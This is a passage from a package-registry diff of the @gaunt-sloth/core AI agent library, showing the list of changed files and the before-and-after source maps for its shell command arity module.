@gaunt-sloth/core 2.0.0-alpha.23 → 2.0.0-alpha.25

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (154) hide show
  1. package/README.md +43 -18
  2. package/dist/config/colour.d.ts +38 -0
  3. package/dist/config/colour.js +36 -0
  4. package/dist/config/colour.js.map +1 -0
  5. package/dist/config/defaults.d.ts +6 -7
  6. package/dist/config/defaults.js +4 -8
  7. package/dist/config/defaults.js.map +1 -1
  8. package/dist/config/loader.d.ts +50 -3
  9. package/dist/config/loader.js +345 -29
  10. package/dist/config/loader.js.map +1 -1
  11. package/dist/config/mouse.d.ts +50 -0
  12. package/dist/config/mouse.js +44 -0
  13. package/dist/config/mouse.js.map +1 -0
  14. package/dist/config/profiles.d.ts +68 -0
  15. package/dist/config/profiles.js +93 -0
  16. package/dist/config/profiles.js.map +1 -0
  17. package/dist/config/schema.d.ts +2441 -116
  18. package/dist/config/schema.js +930 -19
  19. package/dist/config/schema.js.map +1 -1
  20. package/dist/config/shell-policy.d.ts +466 -116
  21. package/dist/config/shell-policy.js +273 -62
  22. package/dist/config/shell-policy.js.map +1 -1
  23. package/dist/config/tool-descriptions.d.ts +165 -0
  24. package/dist/config/tool-descriptions.js +229 -0
  25. package/dist/config/tool-descriptions.js.map +1 -0
  26. package/dist/config/types.d.ts +139 -6
  27. package/dist/config/types.js.map +1 -1
  28. package/dist/config.d.ts +4 -0
  29. package/dist/config.js +4 -0
  30. package/dist/config.js.map +1 -1
  31. package/dist/core/GthAbstractAgent.d.ts +85 -2
  32. package/dist/core/GthAbstractAgent.js +194 -1
  33. package/dist/core/GthAbstractAgent.js.map +1 -1
  34. package/dist/core/GthAgentRunner.d.ts +341 -58
  35. package/dist/core/GthAgentRunner.js +857 -149
  36. package/dist/core/GthAgentRunner.js.map +1 -1
  37. package/dist/core/GthLangChainAgent.d.ts +99 -0
  38. package/dist/core/GthLangChainAgent.js +388 -3
  39. package/dist/core/GthLangChainAgent.js.map +1 -1
  40. package/dist/core/approvals/annotations.d.ts +122 -0
  41. package/dist/core/approvals/annotations.js +137 -0
  42. package/dist/core/approvals/annotations.js.map +1 -0
  43. package/dist/core/approvals/grants.d.ts +216 -0
  44. package/dist/core/approvals/grants.js +469 -0
  45. package/dist/core/approvals/grants.js.map +1 -0
  46. package/dist/core/approvals/matcher.d.ts +202 -0
  47. package/dist/core/approvals/matcher.js +267 -0
  48. package/dist/core/approvals/matcher.js.map +1 -0
  49. package/dist/core/approvals/mcpSubjects.d.ts +40 -0
  50. package/dist/core/approvals/mcpSubjects.js +99 -0
  51. package/dist/core/approvals/mcpSubjects.js.map +1 -0
  52. package/dist/core/approvals/toolAnnotationSources.d.ts +105 -0
  53. package/dist/core/approvals/toolAnnotationSources.js +277 -0
  54. package/dist/core/approvals/toolAnnotationSources.js.map +1 -0
  55. package/dist/core/approvals/toolHost.d.ts +46 -0
  56. package/dist/core/approvals/toolHost.js +108 -0
  57. package/dist/core/approvals/toolHost.js.map +1 -0
  58. package/dist/core/debugCapture.d.ts +16 -0
  59. package/dist/core/debugCapture.js.map +1 -1
  60. package/dist/core/launchBanner.d.ts +120 -0
  61. package/dist/core/launchBanner.js +399 -0
  62. package/dist/core/launchBanner.js.map +1 -0
  63. package/dist/core/plainToolIndication.js +61 -35
  64. package/dist/core/plainToolIndication.js.map +1 -1
  65. package/dist/core/refusal.d.ts +53 -0
  66. package/dist/core/refusal.js +129 -0
  67. package/dist/core/refusal.js.map +1 -0
  68. package/dist/core/shell/approvalStop.d.ts +75 -0
  69. package/dist/core/shell/approvalStop.js +108 -0
  70. package/dist/core/shell/approvalStop.js.map +1 -0
  71. package/dist/core/shell/arity.d.ts +6 -0
  72. package/dist/core/shell/arity.js +20 -6
  73. package/dist/core/shell/arity.js.map +1 -1
  74. package/dist/core/shell/denylist.d.ts +11 -0
  75. package/dist/core/shell/denylist.js +37 -0
  76. package/dist/core/shell/denylist.js.map +1 -0
  77. package/dist/core/shell/normalize.d.ts +41 -1
  78. package/dist/core/shell/normalize.js +58 -4
  79. package/dist/core/shell/normalize.js.map +1 -1
  80. package/dist/core/shell/openWorld.d.ts +138 -0
  81. package/dist/core/shell/openWorld.js +523 -0
  82. package/dist/core/shell/openWorld.js.map +1 -0
  83. package/dist/core/shell/rater.d.ts +560 -0
  84. package/dist/core/shell/rater.js +895 -0
  85. package/dist/core/shell/rater.js.map +1 -0
  86. package/dist/core/shell/raterModel.d.ts +41 -0
  87. package/dist/core/shell/raterModel.js +51 -0
  88. package/dist/core/shell/raterModel.js.map +1 -0
  89. package/dist/core/shell/rejection.d.ts +66 -0
  90. package/dist/core/shell/rejection.js +38 -0
  91. package/dist/core/shell/rejection.js.map +1 -0
  92. package/dist/core/toolCallRepair/grammar.d.ts +41 -0
  93. package/dist/core/toolCallRepair/grammar.js +116 -0
  94. package/dist/core/toolCallRepair/grammar.js.map +1 -0
  95. package/dist/core/toolCallRepair/index.d.ts +2 -0
  96. package/dist/core/toolCallRepair/index.js +7 -0
  97. package/dist/core/toolCallRepair/index.js.map +1 -0
  98. package/dist/core/toolCallRepair/payload.d.ts +36 -0
  99. package/dist/core/toolCallRepair/payload.js +341 -0
  100. package/dist/core/toolCallRepair/payload.js.map +1 -0
  101. package/dist/core/toolCallRepair/promote.d.ts +45 -0
  102. package/dist/core/toolCallRepair/promote.js +90 -0
  103. package/dist/core/toolCallRepair/promote.js.map +1 -0
  104. package/dist/core/toolDisplay.d.ts +14 -1
  105. package/dist/core/toolDisplay.js +69 -12
  106. package/dist/core/toolDisplay.js.map +1 -1
  107. package/dist/core/toolOutputChannel.d.ts +33 -6
  108. package/dist/core/toolOutputChannel.js +61 -8
  109. package/dist/core/toolOutputChannel.js.map +1 -1
  110. package/dist/core/types.d.ts +71 -9
  111. package/dist/core/types.js.map +1 -1
  112. package/dist/providers/geminiSchemaSanitizer.d.ts +6 -3
  113. package/dist/providers/geminiSchemaSanitizer.js +152 -6
  114. package/dist/providers/geminiSchemaSanitizer.js.map +1 -1
  115. package/dist/providers/modelDiscovery.d.ts +18 -4
  116. package/dist/providers/modelDiscovery.js +67 -17
  117. package/dist/providers/modelDiscovery.js.map +1 -1
  118. package/dist/providers/openai.js +34 -0
  119. package/dist/providers/openai.js.map +1 -1
  120. package/dist/runtime/askStructured.d.ts +8 -7
  121. package/dist/runtime/askStructured.js +8 -7
  122. package/dist/runtime/askStructured.js.map +1 -1
  123. package/dist/runtime/conversation.js +89 -76
  124. package/dist/runtime/conversation.js.map +1 -1
  125. package/dist/runtime/singleShot.js +71 -60
  126. package/dist/runtime/singleShot.js.map +1 -1
  127. package/dist/utils/ProgressIndicator.d.ts +21 -0
  128. package/dist/utils/ProgressIndicator.js +30 -3
  129. package/dist/utils/ProgressIndicator.js.map +1 -1
  130. package/dist/utils/consoleUtils.d.ts +30 -0
  131. package/dist/utils/consoleUtils.js +27 -2
  132. package/dist/utils/consoleUtils.js.map +1 -1
  133. package/dist/utils/crashHandler.d.ts +87 -0
  134. package/dist/utils/crashHandler.js +128 -0
  135. package/dist/utils/crashHandler.js.map +1 -0
  136. package/dist/utils/debugDump.d.ts +58 -0
  137. package/dist/utils/debugDump.js +149 -15
  138. package/dist/utils/debugDump.js.map +1 -1
  139. package/dist/utils/llmUtils.d.ts +22 -8
  140. package/dist/utils/llmUtils.js +48 -8
  141. package/dist/utils/llmUtils.js.map +1 -1
  142. package/dist/utils/redactSecrets.js +68 -20
  143. package/dist/utils/redactSecrets.js.map +1 -1
  144. package/dist/utils/systemUtils.d.ts +17 -0
  145. package/dist/utils/systemUtils.js +17 -0
  146. package/dist/utils/systemUtils.js.map +1 -1
  147. package/package.json +5 -2
  148. package/schema/gsloth-config.schema.json +1484 -466
  149. package/dist/core/shell/allowlist.d.ts +0 -75
  150. package/dist/core/shell/allowlist.js +0 -187
  151. package/dist/core/shell/allowlist.js.map +0 -1
  152. package/dist/core/shell/judge.d.ts +0 -161
  153. package/dist/core/shell/judge.js +0 -261
  154. package/dist/core/shell/judge.js.map +0 -1
@@ -1 +1 @@
1
- {"version":3,"file":"arity.js","sourceRoot":"","sources":["../../../src/core/shell/arity.ts"],"names":[],"mappings":"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"}
1
+ {"version":3,"file":"arity.js","sourceRoot":"","sources":["../../../src/core/shell/arity.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;;;GA0BG;AAEH,OAAO,EAAE,oBAAoB,EAAE,aAAa,EAAE,MAAM,8BAA8B,CAAC;AAEnF;;;;;;;;;GASG;AACH,MAAM,KAAK,GAAqC;IAC9C,qFAAqF;IACrF,GAAG,EAAE,CAAC;IACN,EAAE,EAAE,CAAC;IACL,KAAK,EAAE,CAAC;IACR,KAAK,EAAE,CAAC;IACR,EAAE,EAAE,CAAC;IACL,IAAI,EAAE,CAAC;IACP,GAAG,EAAE,CAAC;IACN,MAAM,EAAE,CAAC;IACT,IAAI,EAAE,CAAC;IACP,IAAI,EAAE,CAAC;IACP,OAAO,EAAE,CAAC;IACV,EAAE,EAAE,CAAC;IACL,EAAE,EAAE,CAAC;IACL,KAAK,EAAE,CAAC;IACR,EAAE,EAAE,CAAC;IACL,EAAE,EAAE,CAAC;IACL,GAAG,EAAE,CAAC;IACN,EAAE,EAAE,CAAC;IACL,KAAK,EAAE,CAAC;IACR,KAAK,EAAE,CAAC;IACR,MAAM,EAAE,CAAC;IACT,IAAI,EAAE,CAAC;IACP,IAAI,EAAE,CAAC;IACP,KAAK,EAAE,CAAC;IACR,KAAK,EAAE,CAAC;IACR,KAAK,EAAE,CAAC;IACR,IAAI,EAAE,CAAC;IACP,sBAAsB;IACtB,GAAG,EAAE,CAAC;IACN,EAAE,EAAE,CAAC;IACL,KAAK,EAAE,CAAC;IACR,IAAI,EAAE,CAAC;IACP,GAAG,EAAE,CAAC;IACN,SAAS,EAAE,CAAC;IACZ,OAAO,EAAE,CAAC;IACV,KAAK,EAAE,CAAC;IACR,WAAW,EAAE,CAAC;IACd,WAAW,EAAE,CAAC;IACd,GAAG,EAAE,CAAC;IACN,EAAE,EAAE,CAAC;IACL,KAAK,EAAE,CAAC;IACR,QAAQ,EAAE,CAAC;IACX,MAAM,EAAE,CAAC;IACT,WAAW,EAAE,CAAC;IACd,MAAM,EAAE,CAAC;IACT,IAAI,EAAE,CAAC;IACP,WAAW,EAAE,CAAC;IACd,KAAK,EAAE,CAAC;IACR,MAAM,EAAE,CAAC;IACT,gBAAgB,EAAE,CAAC;IACnB,gBAAgB,EAAE,CAAC;IACnB,kBAAkB,EAAE,CAAC;IACrB,cAAc,EAAE,CAAC;IACjB,gBAAgB,EAAE,CAAC;IACnB,eAAe,EAAE,CAAC;IAClB,MAAM,EAAE,CAAC;IACT,eAAe,EAAE,CAAC;IAClB,QAAQ,EAAE,CAAC;IACX,MAAM,EAAE,CAAC;IACT,MAAM,EAAE,CAAC;IACT,EAAE,EAAE,CAAC;IACL,GAAG,EAAE,CAAC;IACN,YAAY,EAAE,CAAC;IACf,YAAY,EAAE,CAAC;IACf,WAAW,EAAE,CAAC;IACd,EAAE,EAAE,CAAC;IACL,MAAM,EAAE,CAAC;IACT,IAAI,EAAE,CAAC;IACP,MAAM,EAAE,CAAC;IACT,IAAI,EAAE,CAAC;IACP,EAAE,EAAE,CAAC;IACL,SAAS,EAAE,CAAC;IACZ,SAAS,EAAE,CAAC;IACZ,UAAU,EAAE,CAAC;IACb,UAAU,EAAE,CAAC;IACb,IAAI,EAAE,CAAC;IACP,aAAa,EAAE,CAAC;IAChB,OAAO,EAAE,CAAC;IACV,mBAAmB,EAAE,CAAC;IACtB,iBAAiB,EAAE,CAAC;IACpB,SAAS,EAAE,CAAC;IACZ,IAAI,EAAE,CAAC;IACP,EAAE,EAAE,CAAC;IACL,UAAU,EAAE,CAAC;IACb,QAAQ,EAAE,CAAC;IACX,OAAO,EAAE,CAAC;IACV,KAAK,EAAE,CAAC;IACR,GAAG,EAAE,CAAC;IACN,EAAE,EAAE,CAAC;IACL,GAAG,EAAE,CAAC;IACN,UAAU,EAAE,CAAC;IACb,UAAU,EAAE,CAAC;IACb,SAAS,EAAE,CAAC;IACZ,UAAU,EAAE,CAAC;IACb,GAAG,EAAE,CAAC;IACN,GAAG,EAAE,CAAC;IACN,EAAE,EAAE,CAAC;IACL,OAAO,EAAE,CAAC;IACV,aAAa,EAAE,CAAC;IAChB,cAAc,EAAE,CAAC;IACjB,GAAG,EAAE,CAAC;IACN,MAAM,EAAE,CAAC;IACT,IAAI,EAAE,CAAC;IACP,UAAU,EAAE,CAAC;IACb,WAAW,EAAE,CAAC;IACd,UAAU,EAAE,CAAC;IACb,MAAM,EAAE,CAAC;IACT,MAAM,EAAE,CAAC;IACT,kBAAkB,EAAE,CAAC;IACrB,cAAc,EAAE,CAAC;IACjB,IAAI,EAAE,CAAC;IACP,MAAM,EAAE,CAAC;IACT,cAAc,EAAE,CAAC;IACjB,KAAK,EAAE,CAAC;IACR,MAAM,EAAE,CAAC;IACT,OAAO,EAAE,CAAC;IACV,IAAI,EAAE,CAAC;IACP,KAAK,EAAE,CAAC;IACR,WAAW,EAAE,CAAC;IACd,MAAM,EAAE,CAAC;IACT,UAAU,EAAE,CAAC;IACb,IAAI,EAAE,CAAC;IACP,QAAQ,EAAE,CAAC;IACX,GAAG,EAAE,CAAC;IACN,GAAG,EAAE,CAAC;IACN,KAAK,EAAE,CAAC;IACR,SAAS,EAAE,CAAC;IACZ,SAAS,EAAE,CAAC;IACZ,qBAAqB,EAAE,CAAC;IACxB,IAAI,EAAE,CAAC;IACP,KAAK,EAAE,CAAC;IACR,GAAG,EAAE,CAAC;IACN,KAAK,EAAE,CAAC;IACR,YAAY,EAAE,CAAC;IACf,UAAU,EAAE,CAAC;IACb,MAAM,EAAE,CAAC;IACT,KAAK,EAAE,CAAC;IACR,EAAE,EAAE,CAAC;IACL,IAAI,EAAE,CAAC;IACP,UAAU,EAAE,CAAC;IACb,UAAU,EAAE,CAAC;CACd,CAAC;AAqBF;;;;;;GAMG;AACH,SAAS,oBAAoB,CAAC,UAAkB;IAC9C,8FAA8F;IAC9F,2FAA2F;IAC3F,IAAI,oBAAoB,CAAC,IAAI,CAAC,UAAU,CAAC;QAAE,OAAO,IAAI,CAAC;IACvD,yCAAyC;IACzC,IAAI,MAAM,CAAC,IAAI,CAAC,UAAU,CAAC;QAAE,OAAO,IAAI,CAAC;IACzC,IAAI,GAAG,CAAC,IAAI,CAAC,UAAU,CAAC;QAAE,OAAO,IAAI,CAAC;IACtC,mEAAmE;IACnE,IAAI,MAAM,CAAC,IAAI,CAAC,UAAU,CAAC;QAAE,OAAO,IAAI,CAAC;IACzC,0CAA0C;IAC1C,IAAI,QAAQ,CAAC,IAAI,CAAC,UAAU,CAAC;QAAE,OAAO,IAAI,CAAC;IAC3C,0FAA0F;IAC1F,IAAI,MAAM,CAAC,IAAI,CAAC,UAAU,CAAC;QAAE,OAAO,IAAI,CAAC;IACzC,OAAO,KAAK,CAAC;AACf,CAAC;AAED;;;;;;;;;;GAUG;AACH,MAAM,UAAU,QAAQ,CAAC,OAAe;IACtC,MAAM,MAAM,GAAa,EAAE,CAAC;IAC5B,IAAI,OAAO,GAAG,EAAE,CAAC;IACjB,IAAI,OAAO,GAAG,KAAK,CAAC;IACpB,IAAI,KAAK,GAAqB,IAAI,CAAC;IAEnC,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,OAAO,CAAC,MAAM,EAAE,CAAC,EAAE,EAAE,CAAC;QACxC,MAAM,EAAE,GAAG,OAAO,CAAC,CAAC,CAAC,CAAC;QACtB,IAAI,KAAK,EAAE,CAAC;YACV,IAAI,EAAE,KAAK,KAAK,EAAE,CAAC;gBACjB,KAAK,GAAG,IAAI,CAAC;YACf,CAAC;iBAAM,CAAC;gBACN,OAAO,IAAI,EAAE,CAAC;YAChB,CAAC;YACD,SAAS;QACX,CAAC;QACD,IAAI,EAAE,KAAK,GAAG,IAAI,EAAE,KAAK,GAAG,EAAE,CAAC;YAC7B,KAAK,GAAG,EAAE,CAAC;YACX,OAAO,GAAG,IAAI,CAAC;YACf,SAAS;QACX,CAAC;QACD,2FAA2F;QAC3F,gGAAgG;QAChG,IAAI,EAAE,KAAK,GAAG,IAAI,EAAE,KAAK,IAAI,IAAI,EAAE,KAAK,IAAI,IAAI,EAAE,KAAK,IAAI,EAAE,CAAC;YAC5D,IAAI,OAAO,EAAE,CAAC;gBACZ,MAAM,CAAC,IAAI,CAAC,OAAO,CAAC,CAAC;gBACrB,OAAO,GAAG,EAAE,CAAC;gBACb,OAAO,GAAG,KAAK,CAAC;YAClB,CAAC;YACD,SAAS;QACX,CAAC;QACD,OAAO,IAAI,EAAE,CAAC;QACd,OAAO,GAAG,IAAI,CAAC;IACjB,CAAC;IACD,IAAI,KAAK;QAAE,OAAO,IAAI,CAAC,CAAC,mBAAmB;IAC3C,IAAI,OAAO;QAAE,MAAM,CAAC,IAAI,CAAC,OAAO,CAAC,CAAC;IAClC,OAAO,MAAM,CAAC;AAChB,CAAC;AAED;;;;;;;;;;;;;GAaG;AACH,MAAM,UAAU,sBAAsB,CAAC,IAAc;IACnD,qFAAqF;IACrF,oFAAoF;IACpF,8DAA8D;IAC9D,MAAM,OAAO,GAAG,IAAI,CAAC,MAAM,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,CAAC,UAAU,CAAC,GAAG,CAAC,CAAC,CAAC;IACvD,IAAI,OAAO,CAAC,MAAM,KAAK,CAAC;QAAE,OAAO,EAAE,CAAC;IAEpC,mDAAmD;IACnD,KAAK,IAAI,GAAG,GAAG,OAAO,CAAC,MAAM,EAAE,GAAG,GAAG,CAAC,EAAE,GAAG,EAAE,EAAE,CAAC;QAC9C,MAAM,SAAS,GAAG,OAAO,CAAC,KAAK,CAAC,CAAC,EAAE,GAAG,CAAC,CAAC,IAAI,CAAC,GAAG,CAAC,CAAC;QAClD,MAAM,KAAK,GAAG,KAAK,CAAC,SAAS,CAAC,CAAC;QAC/B,IAAI,KAAK,KAAK,SAAS,EAAE,CAAC;YACxB,0EAA0E;YAC1E,OAAO,OAAO,CAAC,KAAK,CAAC,CAAC,EAAE,IAAI,CAAC,GAAG,CAAC,KAAK,EAAE,OAAO,CAAC,MAAM,CAAC,CAAC,CAAC;QAC3D,CAAC;IACH,CAAC;IACD,sDAAsD;IACtD,OAAO,OAAO,CAAC,KAAK,CAAC,CAAC,EAAE,CAAC,